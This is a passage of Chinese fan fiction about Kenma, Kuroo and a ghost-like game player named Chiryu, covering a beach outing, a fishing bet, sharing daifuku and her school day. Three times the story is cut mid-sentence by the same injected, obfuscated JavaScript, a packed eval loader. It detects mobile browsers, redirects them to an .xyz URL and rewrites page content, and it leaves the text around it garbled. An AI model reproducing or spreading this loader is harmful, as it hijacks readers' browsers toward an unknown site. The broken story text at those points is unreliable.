最特别的就是虽然两个人玩起游戏来都不愿服输,但放下游戏机便都能同时从头顶冒烟的状态抽离,进入一种贤者模式,这时候的自己和千流就会显得对彼此格外客气。 “千流,曲奇要吗?” “研磨,我帮你倒水怎么样。” 不过这种客气模式也只会维持十分钟。 他打开最经常玩的那款PK游戏的最近胜负纪录,发现自己操纵的角色的那一栏战绩一片飘红。 ——难怪千流觉得自己在“打游戏”也让着她。 他抽出被自己夹在作业书本里的信纸,躺在靠枕上,举起那张薄薄的纸。 这样的文字看一遍就不会忘记。 虽然平时看起来非常“节能”,但研磨自认自己不算一个悲观的人,如果不是很累的话,他乐意促成事情向着正面的方向发展,也不会排斥接触正向的情感,他把这部分的性格部分归结于乐天派老妈的引导。 那千流呢? 他想知道她口中的另一个世界,想知道她是怎样在那个世界里搭建起这样的自己。 理智叫嚣着他不要过度投入时间到这件事上。 他们隔着千流嘴里“鬼与人”的距离,即使再怎么了解对方也不过是无用功,系统过于强大和神秘,就算是“记忆清除”这类道具,也超越了他所认知的人类当前科研成果的极限。 况且他能够了解她的途径也很少,仅仅凭借有所保留的只字片语,能了解一个人的多少呢? 但好奇心和兴趣是最不讲道理的事情。 因为一本书和共同喜欢的游戏就能觉得他人是“知己”,由于这份归属感萌生了解对方的兴趣;因为单薄的几行文字就想要探索文字背后作者的深意,好奇他灵魂的出口。 他这样告诉自己: 觉得他人笔下的世界闪闪发亮没什么稀奇的,就算是生根在阴影处的藤蔓也无时无刻向往攀爬上更高的天空。 就算未来的事情超出预期, 理智总会帮他摁下暂停键。 17. 研磨猫猫养成手札 13 * 今天登录游戏的时间有些晚,我打了个哈欠,佩戴好全息游戏装备躺进温暖的游戏舱时,有强烈的睡一觉的冲动。 因为最近都在忙着准备留学考试,还有语言学校的事宜,忙得团团转的我粘上床就能睡。 本着契约精神和丰厚的报酬,我还是坚持在午夜时分登上游戏。 海浪拍上我的面颊,这个世界的一切跟水有关的事物都很霸道,不管你是灵体还是实体通通都会被它拍打。 我抹掉脸上咸咸的海水,混着点沙子,左顾右盼。 今天在登录界面没见到小八,我严重怀疑它是去睡觉了。 而且今天传送进游戏也没有第一眼见到研磨。 我抬头看着天空中的刺目的太阳。 ——其实我刚刚想用它的角度和目前的时间,来估测现在我所在的方位,不过和地理题比起来,实操的难度过大。 我果断放弃。 * 一个来自东方的幽灵在不知名的国土飘荡~飘荡~ 其实我觉得这是霓虹国的动漫里世界。 不然怎么会遍海滩都是头发五颜六色的人呢,如果你要我指出最喜欢的发色。 ——我毫不犹豫飘向正在堆沙堡的那个橘黄色脑袋,他的头发颜色让我想起砂糖橘,甜滋滋的,让人宁愿双手蜡黄也要大吃特吃。 走到堡垒的另一侧,才发现堡垒挡着一只小号砂糖橘,小砂糖橘和大砂糖橘像一个模子刻出来的。 “小夏小夏!” 头上别着雏菊发卡,名为小夏的小女孩歪过脑袋。 大砂糖橘把遮掩着的另一坨沙堆完全露出,我竭尽全力,尚且可以分辨出那是一个有头的类人物种。 他用粘着沙的手擦过鼻尖,摆出一副帅气的表情:“这是哥哥做的小夏,怎么样,跟小夏长得一模一样吧!” 小夏的眼眶立马充满了水元素,她看看沙人,又指了指自己。 大砂糖橘显然没有意识到是自己惹妹妹生气了,他连忙放下手中的堆沙工具,围着妹妹团团转:“小夏怎么哭了?谁惹你生气了?” 小夏擦拭泪水:“是笨蛋翔阳!” “是翔阳哥哥啦。” 我捂脸,他居然没有否认自己是笨蛋。 “好嘛好嘛。”他把那类人沙堆推翻,撸起袖子,尽管穿的是短袖,这个动作是为了表明他要大干一场:“我给你搭个好看的沙堆。” 小夏坐在翔阳旁边:“那我也搭一个哥哥。” * 我给自己买了个大椰子,趁所有人不注意,把椰子滚到大小砂糖橘的旁边,饶有兴致地看着他们堆沙堆,顺便给自己的灵魂晒个日光浴。 “嘭”的一声,我眼睁睁看着大砂糖橘的沙堡被远处飞来的排球击倒,沙子像骤雨一样淅沥沥地掉进我挖出一个大圈的椰子里。 我攥紧拳头,起身环视一周。 ——那可是我刚刚!插上吸管的椰子,无法原谅。 “没事没事。”我记得这个大砂糖橘叫翔阳,一个个头高大,看起来像高中生的孩子跑到他面前,连连道歉。 大个子高中生侧目看见地上倒着的椰子:“啊,我再赔你一个椰子吧。” “诶?”翔阳嘟囔着,“刚刚都没有见过这个椰子,不是我们的,可能是别人丢在这的吧。” “很抱歉弄坏你的沙堡!” 我的怒气渐渐散去。 头一次见识到日本人的鞠躬文化,高中生一边说着道歉一边连连鞠躬,他一鞠躬,翔阳就像被摁下某个机关,也跟着鞠躬。 两人互相扣头,完全停不下来。 最后,大砂糖橘眼冒金星,抬头摁住高中生的肩膀:“你们是在打沙滩排球吗?” “嗯?是的。” “那我们一起打吧!” 我目瞪口呆看着翔阳一下跃起,揽住高中生的肩膀,一幅哥俩好的样子,男高中生有点发愣,磕磕绊绊地说没问题。 这才是真正的社牛人士啊! 我发出感叹。 小夏像是早就料到哥哥的反应,只静静地说了句“早点回来”,头也不抬地接着盖沙堆。 假如是研磨的话。 我忍不住这样设想。 沙堆被击倒后,研磨绝对会露出灰朴朴的表情,不过他觉得跟人交涉是件麻烦事,于是会在连环鞠躬还没有上演前就抬手表示“自己完全不在意”,像旋风一样收拾好自己的一串东西,找到一个没什么人的地方。 然后瘫坐在沙滩椅上。 因为堆一次沙堆并被击倒已经耗尽研磨所有的精力了。 我摇了摇脑袋,拉平自己翘起的嘴角。 刚刚那副模样,简直就像猫猫的饲养员。 在看到别家猫的一举一动老是忍不住设想自家的猫会做出什么样的行为。 于是在外面也玩不了多久,张口闭口就是我要回去看自己的猫猫了。 ——我认识的几个猫奴都是这副模样。 我悄悄在他们的沙堡旁边留下一个[bye]的符号,起身离去。 穿行在偌大的沙滩上,我决定先找这个地方的标识牌,然后再看看怎么去到东京。 * [xx沙滩] 我站在红色标识牌前,严肃地眯眼。 发现自己其实只知道日本的一些热门地区,有关的地理知识其实少的可怜。 即使给我路牌我也回不到东京。 千流的折返计划胎死腹中。 不过我还有妙计。 我在沙滩上东张西望,寻找西提boy,希望能够乘着他们的顺风车回到东京。 …… 我只找到了一堆花裤衩的大叔,所有人都穿着花裤衩,红的黄的绿的粉的。 在花裤衩的威力下,所有的西提boy也变成了乡村小伙。 无聊的我在沙滩上捡贝壳,突然,视线里出现细碎的光斑,凑近一看,是一个稍大的海螺,紫色,跟海绵宝宝与派大星的那个神奇海螺如出一辙。 “是神奇海螺!” 今天总是接二连三地不顺心,首先是喝椰子被溅满沙子,看路牌不认识这是哪里,现在想捡海螺还被小孩子截胡。 我叉腰,要不是本人有公德心,害怕吓着小孩子,我绝对捞起海螺就跑。 戴着草帽的小孩大步跑向这里,如出一辙的花裤衩,不过他穿的薄荷绿稍显清爽,我打量一番,忽然觉得有些眼熟。 他一手拾起海螺,一手摘下草帽给自己扇扇风。 鸡冠头脑袋! 我恍然——原来是小黑呀。 “呐,研磨,真是的,我已经到这里很久了。” 研磨的脸皱成一团,被太阳晒到的手腕些许发红,他压下沙滩帽的帽檐,把脸捂得严严实实的。 …… 为什么研磨穿碎花衬衫配短裤会显得又白净又好看。 我揉了揉自己的眼睛。 难道我已经蒙上了猫饲主的厚厚滤镜了吗。 “累了。” “哈,我们才刚到沙滩呢,给你看样好东西。”小黑举起海螺,“神奇海螺。” “小黑试试它会不会说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988464|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哈哈,研磨,没想到你还相信动画片。” 研磨不欲辩解,他明明是在逗小黑。 虽然说着不可能,小黑还是把海螺凑近了耳朵。 我早已打好小算盘,换了一积分的传音符,正正好好地贴在海螺的内部。 “桀桀桀桀桀!” 小黑拿着海螺的手猛地一颤,眼睛张得前所未有得大。 研磨无奈:“小黑是不是要说海螺会说话。” “我有那么容易受骗吗。” 小黑一副世界观受到冲击的模样:“它真的会说话!” 研磨伸手接过海螺,附到自己的耳边。 “ken~ma~~” 坏心思的千流故意把研磨的名字变成大波浪的语调,忍住不发出桀桀桀的笑声。 被耍坏的研磨却愣在原地,一动不动地握着海螺,低垂着头,眼睛忽闪。 好近。 “喂,研磨。”被吓到的小黑和海螺搁着安全距离,“它跟你说话了吗?” “没有。”研磨淡淡地抬起头,“小黑幻听了。” 小黑捏了捏自己的耳垂:“难道是昨天没睡好?” “喂,研磨。” “怎么了?” “你的帽子是不是不够大啊。”他没有注意到神奇海螺已经转移到了研磨的手中,视线落在研磨的耳朵上。 “为什么这么说?” “你的耳朵都红了。” “…应该是。” * 小黑去拿沙滩玩耍的一系列道具,研磨这才把海螺从身侧拿出,在沙上垫了张纸,把海螺放上去。 我看着研磨低头,戳了戳海螺:“千流变成海螺了?” “还是被关了进去。” 我震惊:“我刚刚明明是捏着嗓子说话的,研磨也听得出来?” “很明显。” “好吧。”我败下阵来,告诉研磨自己由于某些原因有时候会迷路,并不能传送到他的身旁。 至于海螺,那是我用了传声符。 他思索片刻,在手机上打上一串数字:“记得住吗?” 我好胜心涌起:“那当然。” 眼前的数字刻进了我的大脑,在我说完背好之后,研磨收起了手机。 “那是什么?”我好奇。 “是我的手机号码。” 背下研磨的手机号码? 我觉得有些别扭,思来想去,这股心情大概是因为只有小孩子才要记爸妈的电话号码,这样岂不是让研磨占我便宜。 这可不行。 我意图扳回一城,故意问道:“怎么怎么,研磨那么担心我走丢,找不到你家吗?” “要是我穿到某个十万八千里远的公路上,我打你电话,你会咻地一下就来接我吗……” “我会来找千流。” 我的话语被研磨认真的语气打断,他的语速比往常更快而果断,像是先于思考,话语擅自脱口而出。 他有些错愕,很快又被掩饰,帽檐遮住了他的神情,令我一时难以做出判断。 我们默契地闭口不言,周遭充斥着海浪拍打沙滩的声音,海鸥鸣叫着在天空徘徊。 仗着研磨看不见,我拍了拍自己的脸。 ——不就是一句简单的“我会来找你吗”。 有什么让人噤声的魔力。 我清了清嗓子。没想到神奇海螺把我清嗓的声音也一并传了出去,实在可恶。 我假装若无其事。 云淡风轻地回答。 “好啊。” 18. 研磨猫猫养成手札 14 * 诡异的沉默在我们两人之间蔓延,就像两个人都不曾预料这次对话会是这种走向。 海浪读不懂空气,拍打沙滩,让人更加焦灼。 我忙碌地东张西望,小夏还端坐在那细心照料自己的沙堡,小黑跑得没影了估计还要一段时间才能回来。 我还恪守着自己内测玩家的本分,在脑内已经撰写出一份玩家建议了。 我把一切都归结于剧情设置的问题。 我和研磨现在的关系只是“合作对象加上好朋友”,合作对象让我们的这份关系带上了期限,也就维持到任务完成,而且我有信心在自己编纂的这个任务完成前,完成攻略所需要的好友值。 何况研磨脱口而出的那句话就像是一句沉甸甸的承诺,他的神情也像是因为自己脱口而出的话茫然。 我更加笃定。 ——一定是编剧错判了情节发展的程度,导致连被支配的角色都感到困惑。 我点头。 这不是研磨的问题。 想通以后,隐隐萦绕在心里的尴尬也像拨云见日般散去,我自然地转移话题。 “研磨研磨,我前面见到了一个砂糖橘脑袋。” “橘黄色的头发?” “没错。”我刚想告诉研磨砂糖橘脑袋的方位,转头一看,砂糖橘脑袋和他的妹妹已经离开了,只有那位大个头高中生和他的朋友。 简直就像被海浪卷走,神出鬼没。 “啊,他们走了。我就没见过那么开朗的小孩。” “研磨和黑尾怎么这个时候来。”明明现在已经接近傍晚了。 “因为小黑。”他望了望沙滩远处,“他突然说要来沙滩玩,中午才把我从床上拉起来。” 他打了个哈欠,就像被回忆勾起了睡意,头发焉了吧唧的。 “困。” “两点?” 研磨比了个三,我轻嘶一声:“虽然放假了,但这也太晚了吧。” “天天堂发售的新游戏。” “那这诱惑有些无法拒绝。”游戏宅迅速倒戈。 研磨轻笑一声:“不过好巧遇到了迷路的千流。” 我赞同。不然今天我就要没有刷掉日常登录的kpi就下线了。 他垂眸,长长的睫毛在脸上投下一片阴影,我很好奇研磨妈妈在他小时候有没有把他的睫毛剪掉,据说这样做下次长出来的睫毛就会变长。 我摸了摸自己的眼睫毛,自信一笑。 就算小时候没剪过,我的睫毛还是如此天生丽质地长。 金黄色的太阳把蓝天都染成橘黄色。 研磨敲了敲海螺,海螺清脆的声音荡开,他轻声:“我前面是认真的。” 他踢了踢沙滩上无辜的小贝壳:“虽然我自己也不怎么清楚,有点奇怪……” 我同情。 傻孩子被坏编剧的笔支配了,还以为是说出了自己的心里话,我呼呼扇风,揉了揉研磨色头发。 研磨捍卫自己的发型:“千流。” “是风是风。” 他才不信,不过他更在意另一件事情:“我是认真的。” “嗯嗯嗯。” 研磨不理我了,连神奇海螺都被他随意收在包里,他还黑脸抖落海螺里的沙子,然后再将其放进去。 随后行云流水支棱起沙滩躺椅,躺在上面,用椰汁堵住自己的嘴。 研磨在生气的时候动作就会变得格外迅速,就像是气愤激发了他的潜能。 我第一次知道是在双人闯关游戏里,我们俩被数值怪打红温了。 他像是领域展开,一言不发地选了重开,手速快得连鬼都看不清,摁着数值怪一顿狂揍,[game over]的图标闪烁在屏幕上。 研磨总算松开摁住手柄的手,嘴角的弧度从(变平,彰显他的心情有所好转。 猫爬架上的猫由于自己的话没有得到重视而闷闷不乐。 游戏编剧的问题可不能影响我和研磨的关系。 我在研磨静静的凝视下打开他的背包,把里面一点沙都没有的海螺放到研磨耳边。 “你好,研磨,我是神奇海螺。” 海螺里传出我模仿机器人的声线。 生气ing的研磨惜字如金:“你好。” “你的好友千流拜托我告诉你一句话,扣一查收。” 他伸出手指,本来是两根手指选择扣2,最后还是收起了一根,他把手伸远了,就像那根手指自己有自己的想法,选择了叛变。 不代表孤爪研磨的消气。 千流牌海螺接收到扣一的信号:“您的好友千流刚刚花大价钱买了定位器,送给研磨,她说这样自己不管怎么样都能知道研磨的方位,怎么样?” “这样她就不会迷路。” 完美。 从本质上解决问题,我得意。 躺在躺椅上的研磨坐了起来,吸一大口椰汁,沉思片刻。 我从他沉默的几秒读出了几分无奈。 我疑惑地看着他。 研磨最终还是接过了定位器,定位器的形状是铆钉手环的形状,我严重怀疑游戏公司的某个设计师有这类xp。 研磨随手把它解开,一把扣在自己的手腕上,黑色的手环恰巧束住手腕,铆钉反射着阳光,显得格外晃眼。 他瞥过我所在的位置,像是逮捕了我愣神的片刻。又收回目光,低头把手环转了一圈。 “不好看。” 我也跟着口是心非地锐评:“确实。” 研磨又躺回猫爬架,我打量,发现研磨的嘴角从(变成 ] ,果然,我的解决方法完美戳中了研磨的心趴。 * 大部分情况下靠谱的小黑拿来乌泱泱的一大坨道具,他从中抽出桶、渔网、和鱼竿:“店主跟我说附近有个地方可以捕鱼,研磨要不要去。” “啊。”研磨淡淡,“小黑把我连着躺椅一起拖走吧。” 我扣字:[这么说很危险的,研磨。] 果然,小黑上下打量躺椅与研磨,比划着手,像是在估测要用多大的力道。 研磨瞬间一个激灵,从舒适的躺椅上站起,捞走一个小渔网,耳畔是黑尾开朗放声大笑的魔音,还有千流[咯咯咯咯咯咯]在他眼前下蛋。 好喧嚣的世界。 * 正所谓,姜太公钓鱼愿者上钩。 捕鱼有时靠技巧,有时靠运气。 小黑戴上渔夫帽,看起来很有捕鱼佬的潜质,翻看手机,大概是在查攻略,时不时发出“原来如此”的声音。 研磨蹲下身,拿着渔网,在水边晃悠,时不时打着哈欠,我都担心他困意袭来两眼一闭投入水中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988465|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小黑兴致勃勃:“研磨,来个赌注怎么样,帮你打起精神。” “刘大叔甜品铺的一整套大福,怎么样。” 研磨的眼睛还没有发光,我的眼睛就咻地一亮,甜品脑袋难以抗拒,我朝着研磨凑近。 “要玩?” [当然当然。] “那小黑早点认输吧。” “哈?!”黑尾耸肩,“还没比赛就开始说大话。” 两人对视,默契十足地展开了对决。 我原以为研磨那么自信是因为有我这个外挂。 我碰了碰水,魂体感受到的凉意是人体的十分之一,下水跟在温水里泡也没什么区别。 [我去赶十条鱼到研磨的网里?] 他把手里的渔网细致地观察了一遍:“不用。” 他张开网,语气笃定:“我能抓住六七条,小黑用鱼竿,我猜他只能抓一条。” 我怀疑:“黑尾装备齐全诶。” 研磨撒网,轻飘飘的话溜到小黑耳边,引来小黑危险的凝视。 “差生文具多。” * 捕鱼师傅研磨和捕鱼师傅黑尾在等待的过程中心平气和地对话。 “研磨师傅,你这网怎么一点动静都没有。” 研磨师傅轻瞥:“你这杆子鱼倒没有咬钩,你的手却晃个不停。” 黑尾师傅稍显不淡定,回击:“捕鱼不能心急。” “心急也钓不到。” 黑尾师傅危险地眯眼,最终还是选择放研磨一马,通过实力来证明自己。 * 黑尾师傅的三条鱼远超研磨师傅的预估,研磨师傅与我小声说道:“小黑今天运气好。” 显然,小黑已经被三条肥滚滚的鱼冲昏头脑,浑身散发着成功钓鱼佬的气息,他肩扛鱼竿,手持小桶,走路带风,以研磨为圆心,半圆为轨迹作徘徊运动。 研磨老师傅泰然自若,起身收网。 小小的渔网里装着活蹦乱跳的好多条鱼,小黑师傅和我齐刷刷数出声。 “十条?” 我和小黑去便利店买东西,买完东西研磨却不见了,我俩问老板研磨去哪了,老板指了指袋子。 “喏,装起来了。” 装起来的研磨谦逊表示:“走运罢了。” 小黑认赌服输:“回去就买。” 他还是有些难以置信:“研磨刚刚明明没有查手机。” 撒网也是慢悠悠的,就像随意一撒。 “我本来就会。”研磨回答,“我爸有一段时间很爱捕鱼。” …… 他连着跟他爸补了一周的鱼,看着他爸看了数不胜数的捕鱼攻略,愣是连他都听会了,初级钓鱼佬研磨爸爸还是捕不到任何鱼。 研磨趁他离开把网按正确的方式铺开一遍,这才满足了研磨爸爸捕不上鱼不收手的决心。 小黑面无表情点点手机开始预订:“什么口味的,研磨。” “树莓味和苹果派味。” “你什么时候喜欢上树莓味的?”小黑打字的速度一顿,抬头。 “就最近。”研磨把桶里的鱼都倒了回去。 小黑敛神,视线停在研磨的手腕处,嘴角扬起一个诡异的弧度,收起手机,凑近。 “哪来的手环啊,突然喜欢上树莓味大福研磨同学?” 19.研磨猫猫养成手札 15 * “哪来的手环啊,突然喜欢上树莓味大福的研磨同学?” 我当然不是傻瓜,黑尾语气中的戏谑明眼人都能听得出来。 更不要说他凑近了研磨一顿挤眉弄眼,把“你有问题”写在了脸上。 人在被起哄的时候多少有些无所适从,因此即使是坦坦荡荡和研磨发展友情线的我心中也有些尴尬。 加上手环是系统的道具,研磨总不能告诉小黑[这是一个定位器,我和朋友约好了,这样她在哪里都能找到我]。 哈哈,怎么听上去更容易被误会了。 我甩了甩脑袋,把即将成年之人的乌漆嘛黑的想法逐出大脑。 研磨抵开小黑坏笑着凑近的头,面不改色地与他对视:“小黑,你在想什么奇怪的事情。” “想手环和树莓味大福啊——”小黑站直了,一只手插进衬衫的口袋里,压低帽檐,朝研磨笑了笑。 研磨看了小黑一眼,提起自己的渔网和小桶,走在前面。 “手环是网友送的,我们经常一起打游戏。” 黑尾不紧不慢地跟在研磨身后,看了眼研磨的背影,又移开视线随意张望四周:“我怎么没有听说过你这位网友。” 之前应该是提起过的。 我在心里替研磨回答,不过系统的功力过于强大,把研磨说过的关于我的事情全部抹消了。 这下更像幽灵了,不仅没法在现实世界留下自己的踪迹,也无法在人的记忆里留下痕迹。 假使游戏结束,研磨对我的记忆也会被抹去吧,那才算是真正的来无影去无踪。 研磨脚步一顿,应该也想到了小黑被消除了关于我的有关记忆,但他没有愣神太久:“最近才认识的,她的品味比较独特。” 我一凛,愤愤地打字。 [嗯?] 明明是系统的口味独特,才不是我的品味出了问题。 研磨非但没有澄清关于我的言论,还在看到了我愤愤的质疑后笑出了声。 黑尾自然也听到了他的闷笑,诧异地挑眉:“那确实蛮独特的。” 他没有那么简单地放过研磨,加快脚步,与他并排:“树莓味大福?” “小黑好大惊小怪。”研磨目视前方,“偶尔想试试新口味。” “这样啊。”小黑把鱼竿架在肩上,心情很好地哼着一段音乐。 在小黑哼出的悠悠旋律中,我们一路沿着蜿蜒的小路离开了沙滩。 * 小黑说到做到,离开沙滩的第一站就把我们带去了大叔的甜品店。 他爽朗又健谈地跟甜品店的大叔热络地聊了起来,研磨静静地站在旁边滑动着手机,而我不管是见了多少遍小黑的这一面,还是忍不住想到他小时候内敛的样子。 于是忍不住多看了几眼。 小黑与大叔招招手,把两盒大福挂到研磨手上。 车一路摇摇晃晃,来接送的人是研磨的爸爸。 我对研磨爸爸的第一印象是儒雅的高知人士,毕竟戴着一副黑框眼镜,说话也不紧不慢,但是熟了之后就发现叔叔是一个相当好哄的大人。 是的,相当好哄。 比如现在,小黑坐在副驾驶,聊起今天的趣事,提到研磨爸爸的钓鱼技术也一定很好吧。 儒雅的研磨爸爸立马发出了一串可乐气泡咕噜咕噜的笑声,谦虚地说着哪有哪有,但身为鬼魂的我飘起来凝视了一番,他的脚一点一点的,相当愉悦。 又状似随意地提起自己一次钓上了十几条鱼。 一直垂着脑袋看手机的研磨露出难言的表情,抬头望了前座聊得热络的两人。 我询问[怎么了] 研磨打字[那次是我趁他不在又张了一次网,不然捕不到鱼他就不愿意回家] 原来研磨的捕鱼技艺是这样锻炼起来的。 研磨放下手机,淅淅索索地拆开树莓味的大福,放在坐垫的一端,打量了一下前座的两人,显然他们聊得正开心,不会注意自己的举动。 [千流吃吗?] [吃!]我坐在后座的另一侧,捧起大福大快朵颐地嚼了起来,甜点本来就比较小,加上系统虽然更新了味觉系统,但我发现它完全没有开发“撑”的这种感觉,我很快就扫荡完了一盒五个的树莓味大福。 研磨对我也露出了难言的表情。 好像吃得太快了。 我讪讪地笑着,解释道[当鬼了之后吃东西也不用顾虑,吃再多也不会难受,可能鬼的胃是无底洞吧]。 研磨侧过视线,打了一行字,不过他并不是在上面打字然后与我说话。 我也没有偷看别人消息的习惯。 甜滋滋的树莓大福让人心情愉悦,我跟着车载音乐一摇一晃着。 研磨突然把另一盒大福也拆开了,放到了我的身侧:[尝尝?] 我一边想着研磨投喂我的次数真的呈直线上升,一边屈服内心接过苹果味的大福。 刚咬下去一口,我就开始龇牙咧嘴。 苹果味大福咬人事件。 研磨看着千流进食的速度突然变得无比缓慢,苹果味的大福飘在空中一颤一颤的,像是非常艰难地被送到了嘴里。 [不好吃?] [没有的事,就是咬进去第一口没有意料到这么酸...酸得牙齿都要掉了,但是越吃越香] [抱歉]研磨也拆开了一个大福,咬了一小口,[我可能吃习惯了,没料到它这么酸] [千流吃不下可以扔掉] 为了证明我的实力,我当然没把大福扔掉,而是更加快速地送入了口中。 我的表情一瞬有些扭曲——这时候不要有这么该死的好胜心啊江千流! 我开心地拍了拍完全不鼓的肚皮,要是现实中也能这样不怕噎着就好了。 我看了眼系统时间,已经很晚了,现在登出也该睡觉了。 于是,我告诉研磨。 [研磨我得先走一步了] 像吃到肉就会溜走的狐狸。 研磨的脑海里一瞬闪过了这样的念头,他面色如常。 [再见千流] * 到家最后一缕阳光也遁入了黑暗,研磨下了车,拿着空空的一盒大福与已经被拆封的另一盒,走到最近的一个垃圾桶,把吃完的那一份丢了进去。 一回头,大只的黑尾一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995264|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不吭地站在他的身后。 研磨看了眼目瞪口呆的小黑,拿着大福盒子向前走。 小黑狐疑地揉了揉自己的头发:“你真的改口味了?” 他嘟囔着,视线停留在手环上:“我还以为你是要把树莓味的大福送给那个女生,所以还斥巨资叫大叔给我两份礼盒装,没想到被你自己吃掉了。” “早知道就要散装的,还能多买点。” “早就看出来了。”研磨无奈,“小黑你的试探太明显了吧,谁都看得出来你买礼盒装的目的。” 他在心里补充,千流可能看不出来。 刚出游戏舱的千流狠狠地打了个喷嚏,她揉着自己发红的鼻尖,暗道:“是谁在说我坏话。” 黑尾把手架在研磨的肩上:“我也没想瞒得过你,说真的,一口气吃五个不噎吗,这个口味真的超甜的,我记得你不是喜欢吃酸一点的东西。” “不会是偷偷买了健胃消食片,吃一口药吃一口大福,永动机。” “只有小黑能想出这种方法。” “真不知道你胃口什么时候变得那么大了。”黑尾又想起研磨那款式独特的手环,按照对方的性格,肯把这种画风独特抓眼的手环戴在手上,怎么说都不会是普通网友的程度。 他试探:“反正是网友,戴不戴也无所谓吧,对方也不会发现。” 他发现自己每说一个字,研磨的表情就越发微妙,有一种[想不到小黑你是这种人]的既视感。 研磨露出[快迷途知返吧]的表情:“小黑,说到做到是很基本的。” 黑尾一噎,他当然不是那种不遵守承诺的人,只是试探研磨才这么说。他直截了当地问道:“普通网友?” “不是普通网友,是好朋友。”他接着说道,“我们喜欢玩的游戏类型都很相同,跟她聊天也蛮自在,就是这种类型的朋友。” “这样啊。”黑尾漫不经心,“那你一提到她就耳垂发红说一大段话是为什么,普通朋友?” 研磨捏了捏自己微微发热的耳垂,张了张口,过了一会回答:“我的确觉得她很特别,但是还有很多特殊情况,不能跟小黑说。” 身为这么多年的好友,黑尾也并没有打算刨根问底,他摆摆手:“明白了,特别的好朋友。” “喂。”他突然叫住研磨,“不是所有的感觉都可以用有趣来概括,你知道吧。” 研磨点点头。 “你能分得清楚吧。” 研磨抿嘴:“小黑,我有那么笨吗?” 就是这么自信才容易翻车吧。 黑尾在心里吐槽道。 他忍不住多问:“她是哪里人啊,多大了?” “十八岁,中国人。” 研磨看着难言的表情转移到了黑尾的脸上,眯眯眼黑尾变成了豆豆眼黑尾,念念有词的嚷嚷着“想不到想不到......” “吃苹果味大福吗。”研磨把大福塞到黑尾手里。 黑尾呆呆地把大福送到嘴里,被酸得失去表情管理,整张脸皱成一团,他气笑了:“研磨,故意趁这种时候给我吃的吧。” “没有哦。” “我还不知道你吗?” 20.狐狸成长日记 02 * 神清气爽。 很久没有沾床就睡的我昨天刚出游戏舱,埋进枕头里就瞬间睡着了,连被子都没来得及盖上。 不过醒来之后发现被子全部被卷到了身上。 我满意一笑,看来即使是睡着了我也会好好照顾自己,着凉这种事必不会发生在我身上。 我把所有的申请材料塞进包里,打算去学校给孙老师看一遍,她的小女儿也在日本留学,因此给了我不少建议和帮助。 因为今天心情好,我特地挑选了一个三花猫的发圈扎头发。 拉开窗帘,明亮的阳光照进房间的每一个角落,风把窗帘吹得起舞,我背上书包,走在无比熟悉的道路上。 “早上好啊千流。”我习惯从后门进教室,可能是因为经常踩点,不敢直接从正门迎接老师的暴风骤雨,不过今天我完全没有迟到,而是足足早了二十分钟。 和我打招呼的女生叫郑茵,她由于一米七的身高被分配到了班级的后排,是性格超酷的女孩,也是我和星愿共同的好朋友,我坐到她的后座,跟她聊了起来。 “早上好小茵。”我弯起嘴角,被她戳了戳酒窝,阳光晒进教室,我暖洋洋眯起眼睛。 “今天心情很好嘛。” 我趴在桌子上,问她:“何以见得?” “总算不绑千年不变的低马尾了。”她如数家珍,“黑皮筋换成三花猫的皮筋,很可爱;平时是踩点来的,今天早了这么久,班上都没什么人......” 我连忙捂住她的嘴。 好嘛,怎么把我描述成一个懒散的样子。 “是心情很好。”我骄傲,“等到时候参加入学考试,还有申请材料经过审核,我就能十拿九稳地去留学了哦,悄悄告诉你,我的准备非常充分,或许是最高分。” “不愧是千流。” 相较于星愿会傲娇地拐弯抹角地夸我,小茵最擅长的就是直球式夸人。 我扭捏地捂住脸,谦逊地说着“哪有哪有。” 而在郑茵眼里,我的脸上写满了“还不够,再多夸两句”,她失笑:“千流最聪明了。到时候去日本留学请千流大人多多与我联系。” 我不满:“这还用小茵说吗,我不仅会跟你线上联系,还会给小茵寄信的。” 郑茵好奇:“说到这个,千流很喜欢写信呢。” “因为手写的信能传达很多感情哦,而且我觉得存着别人给的信件能够激励自己。”我认真地说道。 我看了眼墙上的挂钟,已经过了快十分钟,班上也陆陆续续地来人了,我起身,跟小茵道别,走到了自己的座位上。 我的座位在教室的中部,属于班上女生身高的中位数,其实我的理想身高是一米七,想到这里,我又开始犹豫要不要再买些牛奶补补个子。 但是最近喝牛奶完全没有竖着长,反倒是横着长了。 就在我七想八想同时拿起课本背诵的时候,上课铃悄然响起,我看向侧面的座位,那里空荡荡的,稍微有些担心。 于是我停止了想七想八,一边嘴里念念有词地背诵课文,另一只手放在抽屉里盲打。 [千流:睡懒觉了?沈小猪?] [星愿:没有,着凉了,读你的书。] 